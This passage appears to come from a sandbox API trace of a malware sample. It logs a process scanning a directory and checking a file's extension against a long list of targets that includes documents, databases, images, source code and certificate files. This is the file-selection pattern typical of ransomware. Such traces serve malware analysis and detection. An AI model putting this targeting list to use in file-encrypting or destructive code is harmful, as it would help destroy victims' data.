ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50180 [0096.547] FindNextFileW (in: hFindFile=0x3e50180, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.547] FindNextFileW (in: hFindFile=0x3e50180, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0096.547] lstrlenW (lpString="eula.rtf") returned 8 [0096.547] lstrlenW (lpString=".1cd") returned 4 [0096.547] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.547] lstrlenW (lpString=".3ds") returned 4 [0096.547] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0096.547] lstrlenW (lpString=".3fr") returned 4 [0096.547] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0096.547] lstrlenW (lpString=".3g2") returned 4 [0096.547] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0096.547] lstrlenW (lpString=".3gp") returned 4 [0096.548] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0096.548] lstrlenW (lpString=".7z") returned 3 [0096.548] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.548] lstrlenW (lpString=".accda") returned 6 [0096.548] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0096.548] lstrlenW (lpString=".accdb") returned 6 [0096.548] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0096.548] lstrlenW (lpString=".accdc") returned 6 [0096.548] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0096.548] lstrlenW (lpString=".accde") returned 6 [0096.548] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0096.548] lstrlenW (lpString=".accdt") returned 6 [0096.548] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0096.548] lstrlenW (lpString=".accdw") returned 6 [0096.548] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0096.548] lstrlenW (lpString=".adb") returned 4 [0096.548] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0096.548] lstrlenW (lpString=".adp") returned 4 [0096.548] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0096.548] lstrlenW (lpString=".ai") returned 3 [0096.548] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0096.548] lstrlenW (lpString=".ai3") returned 4 [0096.548] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".ai4") returned 4 [0096.549] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".ai5") returned 4 [0096.549] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".ai6") returned 4 [0096.549] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".ai7") returned 4 [0096.549] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".ai8") returned 4 [0096.549] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".anim") returned 5 [0096.549] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0096.549] lstrlenW (lpString=".arw") returned 4 [0096.549] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".as") returned 3 [0096.549] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0096.549] lstrlenW (lpString=".asa") returned 4 [0096.549] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".asc") returned 4 [0096.549] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".ascx") returned 5 [0096.549] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0096.549] lstrlenW (lpString=".asm") returned 4 [0096.549] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".asmx") returned 5 [0096.549] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0096.549] lstrlenW (lpString=".asp") returned 4 [0096.549] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".aspx") returned 5 [0096.549] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0096.549] lstrlenW (lpString=".asr") returned 4 [0096.549] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0096.549] lstrlenW (lpString=".asx") returned 4 [0096.550] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".avi") returned 4 [0096.550] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".avs") returned 4 [0096.550] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".backup") returned 7 [0096.550] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0096.550] lstrlenW (lpString=".bak") returned 4 [0096.550] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".bay") returned 4 [0096.550] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".bd") returned 3 [0096.550] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0096.550] lstrlenW (lpString=".bin") returned 4 [0096.550] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".bmp") returned 4 [0096.550] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".bz2") returned 4 [0096.550] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".c") returned 2 [0096.550] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0096.550] lstrlenW (lpString=".cdr") returned 4 [0096.550] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".cer") returned 4 [0096.550] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".cf") returned 3 [0096.550] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0096.550] lstrlenW (lpString=".cfc") returned 4 [0096.550] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".cfm") returned 4 [0096.550] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0096.550] lstrlenW (lpString=".cfml") returned 5 [0096.550] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0096.551] lstrlenW (lpString=".cfu") returned 4 [0096.551] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".chm") returned 4 [0096.551] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".cin") returned 4 [0096.551] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".class") returned 6 [0096.551] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0096.551] lstrlenW (lpString=".clx") returned 4 [0096.551] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".config") returned 7 [0096.551] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0096.551] lstrlenW (lpString=".cpp") returned 4 [0096.551] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".cr2") returned 4 [0096.551] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".crt") returned 4 [0096.551] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".crw") returned 4 [0096.551] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".cs") returned 3 [0096.551] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0096.551] lstrlenW (lpString=".css") returned 4 [0096.551] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".csv") returned 4 [0096.551] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".cub") returned 4 [0096.551] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0096.551] lstrlenW (lpString=".dae") returned 4 [0096.551] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".dat") returned 4 [0096.552] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".db") returned 3 [0096.552] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0096.552] lstrlenW (lpString=".dbf") returned 4 [0096.552] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".dbx") returned 4 [0096.552] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".dc3") returned 4 [0096.552] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".dcm") returned 4 [0096.552] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".dcr") returned 4 [0096.552] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".der") returned 4 [0096.552] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".dib") returned 4 [0096.552] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".dic") returned 4 [0096.552] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".dif") returned 4 [0096.552] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0096.552] lstrlenW (lpString=".divx") returned 5 [0096.552] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0096.552] lstrlenW (lpString=".djvu") returned 5 [0096.552] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0096.552] lstrlenW (lpString=".dng") returned 4 [0096.552] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".doc") returned 4 [0096.553] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".docm") returned 5 [0096.553] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0096.553] lstrlenW (lpString=".docx") returned 5 [0096.553] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.553] lstrlenW (lpString=".dot") returned 4 [0096.553] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".dotm") returned 5 [0096.553] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0096.553] lstrlenW (lpString=".dotx") returned 5 [0096.553] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0096.553] lstrlenW (lpString=".dpx") returned 4 [0096.553] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".dqy") returned 4 [0096.553] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".dsn") returned 4 [0096.553] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".dt") returned 3 [0096.553] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0096.553] lstrlenW (lpString=".dtd") returned 4 [0096.553] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".dwg") returned 4 [0096.553] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".dwt") returned 4 [0096.553] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".dx") returned 3 [0096.553] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0096.553] lstrlenW (lpString=".dxf") returned 4 [0096.553] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0096.553] lstrlenW (lpString=".edml") returned 5 [0096.554] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0096.554] lstrlenW (lpString=".efd") returned 4 [0096.554] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".elf") returned 4 [0096.554] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".emf") returned 4 [0096.554] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".emz") returned 4 [0096.554] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".epf") returned 4 [0096.554] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".eps") returned 4 [0096.554] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".epsf") returned 5 [0096.554] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0096.554] lstrlenW (lpString=".epsp") returned 5 [0096.554] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0096.554] lstrlenW (lpString=".erf") returned 4 [0096.554] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".exr") returned 4 [0096.554] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".f4v") returned 4 [0096.554] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".fido") returned 5 [0096.554] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0096.554] lstrlenW (lpString=".flm") returned 4 [0096.554] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".flv") returned 4 [0096.554] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".frm") returned 4 [0096.554] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".fxg") returned 4 [0096.554] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0096.554] lstrlenW (lpString=".geo") returned 4 [0096.554] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".gif") returned 4 [0096.555] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".grs") returned 4 [0096.555] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".gz") returned 3 [0096.555] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0096.555] lstrlenW (lpString=".h") returned 2 [0096.555] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0096.555] lstrlenW (lpString=".hdr") returned 4 [0096.555] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".hpp") returned 4 [0096.555] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".hta") returned 4 [0096.555] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".htc") returned 4 [0096.555] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".htm") returned 4 [0096.555] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".html") returned 5 [0096.555] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0096.555] lstrlenW (lpString=".icb") returned 4 [0096.555] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".ics") returned 4 [0096.555] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".iff") returned 4 [0096.555] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".inc") returned 4 [0096.555] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".indd") returned 5 [0096.555] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0096.555] lstrlenW (lpString=".ini") returned 4 [0096.555] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0096.555] lstrlenW (lpString=".iqy") returned 4 [0096.555] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".j2c") returned 4 [0096.556] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".j2k") returned 4 [0096.556] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".java") returned 5 [0096.556] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0096.556] lstrlenW (lpString=".jp2") returned 4 [0096.556] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".jpc") returned 4 [0096.556] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".jpe") returned 4 [0096.556] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".jpeg") returned 5 [0096.556] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0096.556] lstrlenW (lpString=".jpf") returned 4 [0096.556] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".jpg") returned 4 [0096.556] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".jpx") returned 4 [0096.556] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".js") returned 3 [0096.556] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0096.556] lstrlenW (lpString=".jsf") returned 4 [0096.556] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".json") returned 5 [0096.556] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0096.556] lstrlenW (lpString=".jsp") returned 4 [0096.556] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".kdc") returned 4 [0096.556] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".kmz") returned 4 [0096.556] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0096.556] lstrlenW (lpString=".kwm") returned 4 [0096.556] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".lasso") returned 6 [0096.557] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0096.557] lstrlenW (lpString=".lbi") returned 4 [0096.557] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".lgf") returned 4 [0096.557] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".lgp") returned 4 [0096.557] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".log") returned 4 [0096.557] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".m1v") returned 4 [0096.557] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".m4a") returned 4 [0096.557] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".m4v") returned 4 [0096.557] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".max") returned 4 [0096.557] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".md") returned 3 [0096.557] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0096.557] lstrlenW (lpString=".mda") returned 4 [0096.557] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".mdb") returned 4 [0096.557] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".mde") returned 4 [0096.557] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".mdf") returned 4 [0096.557] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".mdw") returned 4 [0096.557] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".mef") returned 4 [0096.557] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".mft") returned 4 [0096.557] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0096.557] lstrlenW (lpString=".mfw") returned 4 [0096.558] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mht") returned 4 [0096.558] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mhtml") returned 6 [0096.558] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0096.558] lstrlenW (lpString=".mka") returned 4 [0096.558] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mkidx") returned 6 [0096.558] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0096.558] lstrlenW (lpString=".mkv") returned 4 [0096.558] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mos") returned 4 [0096.558] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mov") returned 4 [0096.558] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mp3") returned 4 [0096.558] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mp4") returned 4 [0096.558] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mpeg") returned 5 [0096.558] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0096.558] lstrlenW (lpString=".mpg") returned 4 [0096.558] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mpv") returned 4 [0096.558] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mrw") returned 4 [0096.558] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".msg") returned 4 [0096.558] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".mxl") returned 4 [0096.558] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".myd") returned 4 [0096.558] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0096.558] lstrlenW (lpString=".myi") returned 4 [0096.559] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".nef") returned 4 [0096.559] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".nrw") returned 4 [0096.559] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".obj") returned 4 [0096.559] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".odb") returned 4 [0096.559] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".odc") returned 4 [0096.559] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".odm") returned 4 [0096.559] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".odp") returned 4 [0096.559] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".ods") returned 4 [0096.559] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".oft") returned 4 [0096.559] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".one") returned 4 [0096.559] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".onepkg") returned 7 [0096.559] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0096.559] lstrlenW (lpString=".onetoc2") returned 8 [0096.559] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0096.559] lstrlenW (lpString=".opt") returned 4 [0096.559] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".oqy") returned 4 [0096.559] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".orf") returned 4 [0096.559] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".p12") returned 4 [0096.559] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0096.559] lstrlenW (lpString=".p7b") returned 4 [0096.560] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".p7c") returned 4 [0096.560] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pam") returned 4 [0096.560] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pbm") returned 4 [0096.560] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pct") returned 4 [0096.560] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pcx") returned 4 [0096.560] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pdd") returned 4 [0096.560] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pdf") returned 4 [0096.560] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pdp") returned 4 [0096.560] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pef") returned 4 [0096.560] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pem") returned 4 [0096.560] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pff") returned 4 [0096.560] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pfm") returned 4 [0096.560] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pfx") returned 4 [0096.560] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".pgm") returned 4 [0096.560] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".php") returned 4 [0096.560] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0096.560] lstrlenW (lpString=".php3") returned 5 [0096.560] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0096.560] lstrlenW (lpString=".php4") returned 5 [0096.560] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0096.561] lstrlenW (lpString=".php5") 